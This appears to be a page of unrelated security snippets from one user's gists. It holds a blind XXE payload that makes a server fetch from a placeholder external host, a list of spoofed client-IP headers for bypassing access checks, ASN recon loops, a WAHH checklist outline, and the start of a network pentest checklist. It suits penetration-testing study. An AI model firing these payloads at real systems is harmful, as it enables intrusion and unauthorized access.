JeffreyShran

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

JeffreyShran

#!/bin/bash

expand $1 |cut -d " " -f1|sed 's/AS//g'
echo ""
echo ""
lined=`expand $1 |cut -d " " -f1|sed 's/AS//g'| tr '\n' ','`

JeffreyShran

for i in $(cat yahoobgp); do echo""; echo "ASN $i";echo ""; amass.netdomains -asn $i;echo ""; done

JeffreyShran

The Web Application Hacker's Handbook

Web Application Hacker's Handbook Task checklist as a Github-Flavored Markdown file

Contents

• Recon and analysis
• Test handling of access
• Test handling of input
• Test application logic
• Assess application hosting
• Miscellaneous tests

JeffreyShran

202.93.224.226

JeffreyShran

#!/usr/bin/env python3
# v.0.1 - by SI9INT (https://si9int.sh)
# Chromium and chromedriver required, be sure to check if both version are the same
# `mkdir screens` to get started, script won't create the folder
import queue, threading, sys

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

CHROME_PATH = '/usr/bin/chromium'

JeffreyShran

{
	"30523382": {
		"className": "Proxy",
		"data": {
			"bypassFPForPAC": true,
			"color": "#f57575",
			"configUrl": "",
			"credentials": "U2FsdGVkX1+tf3lvD5TBClW2UUSZAT4AWsCo/i0kU2M=",
			"cycle": false,
			"enabled": true,

JeffreyShran

# you have to execute this code line by line so use jupyter notebook or hydrogen inside atom editor

# import libraries
import ccxt
from datetime import datetime

# create exchange API handle
exchange = getattr(ccxt, 'binance')()
# paste in your API key and secret here (if you're afraid they're gonna get stolen, inspect the ccxt library open source code on github)
exchange.apiKey = ''

JeffreyShran

CF-Connecting-IP: 127.0.0.1
Content-type: 0
Fastly-Client-IP: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded: for=127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1

JeffreyShran

Hi dear reader, there are very few technical network security assessment checklist. So I thought to share my own on this. Have a look and enjoy. Lets talk about the scope first. If you are given a 1000 machines to perform VAPT, then here is your scope. Single machine can have 65535 ports open. Any single port can deploy any service software from the world. For example FTP can be run on smartftp, pureftpd etc.. Any single FTP software version (for example pureftpd 1.0.22) can have number of vulnerabilities available. So if you multiply all of these, then it is impossible for any auditor to go ahead and probe all ports manually and find services manually. Even if he/she is able to do it, it is impossible to check all vulnerabilities that are pertaining to a single port of a single machine. Hence we have to rely on scanners such as nexpose, nessus, openvas, coreimpact etc. Here are some quick tools and test cases that one can perform on commonly found ports in the network pentest.

Identify live host